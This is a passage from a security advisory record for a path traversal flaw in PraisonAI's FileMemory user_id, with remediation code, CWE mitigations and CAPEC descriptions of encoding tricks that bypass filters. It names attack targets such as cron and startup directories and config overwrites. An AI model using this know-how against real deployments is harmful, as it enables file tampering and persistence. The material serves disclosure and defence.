`Agent(memory={\"user_id\": ...})`, agents.yaml, or jobs API)\n\n**High-impact scenarios:**\n\n1. **Overwrite Python package files**: On systems where Python packages are stored\n in a world-writable or user-writable path, JSON files can be written over package\n files, causing import failures or (in edge cases) execution if a JSON parser is\n swapped for a Python parser.\n\n2. **Overwrite web server / app config**: Write `config.json` or `settings.json`\n to an app\u0027s configuration directory, potentially modifying runtime behavior.\n\n3. **Cron / startup persistence**: Write JSON files to `/etc/cron.d/` paths\n (Linux) or `%APPDATA%\\Startup\\` (Windows) directories that might be interpreted\n by monitoring systems.\n\n4. **Denial of Service**: Write large JSON memory files into system directories,\n filling disk space or overwriting critical config files.\n\n5. **Multi-tenant deployments**: In a multi-tenant PraisonAI deployment where\n users can create agents with custom memory configs, one user can read/overwrite\n another user\u0027s memory files by traversing to their path.\n\n**Distinction from GHSA-766v-q9x3-g744:**\n\n| | GHSA-766v-q9x3-g744 | This finding |\n|---|---|---|\n| File | `examples/context/12_multi_agent_context.py` (example) | `praisonaiagents/memory/file_memory.py` (core library) |\n| Class | `MultiAgentMonitor` | `FileMemory` |\n| Fixed in | `praisonaiagents \u003e= 1.5.115` | **Not patched** (affects 1.6.52) |\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\nValidate and resolve `user_id` before using it in path construction:\n\n```python\ndef __init__(self, user_id: str = \"default\", base_path=None, ...):\n ...\n # ADDED: sanitize user_id\n import re\n if not re.match(r\u0027^[a-zA-Z0-9_\\-\\.]+$\u0027, user_id):\n raise ValueError(\n f\"user_id \u0027{user_id}\u0027 contains invalid characters. \"\n f\"Only alphanumeric characters, hyphens, underscores, and dots are allowed.\"\n )\n\n self.user_path = self.base_path / user_id\n\n # ADDED: verify the resolved path is within base (defense-in-depth)\n resolved = self.user_path.resolve()\n base_resolved = self.base_path.resolve()\n try:\n resolved.relative_to(base_resolved)\n except ValueError:\n raise ValueError(\n f\"user_id \u0027{user_id}\u0027 would write outside the base memory directory.\"\n )\n```\n\nThe same pattern should be applied to `base_path` parameter.",
"id": "GHSA-gxmw-5f7x-6g22",
"modified": "2026-08-25T15:09:55Z",
"published": "2026-08-25T15:09:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gxmw-5f7x-6g22"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` \u2014 path traversal to any writable location"
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.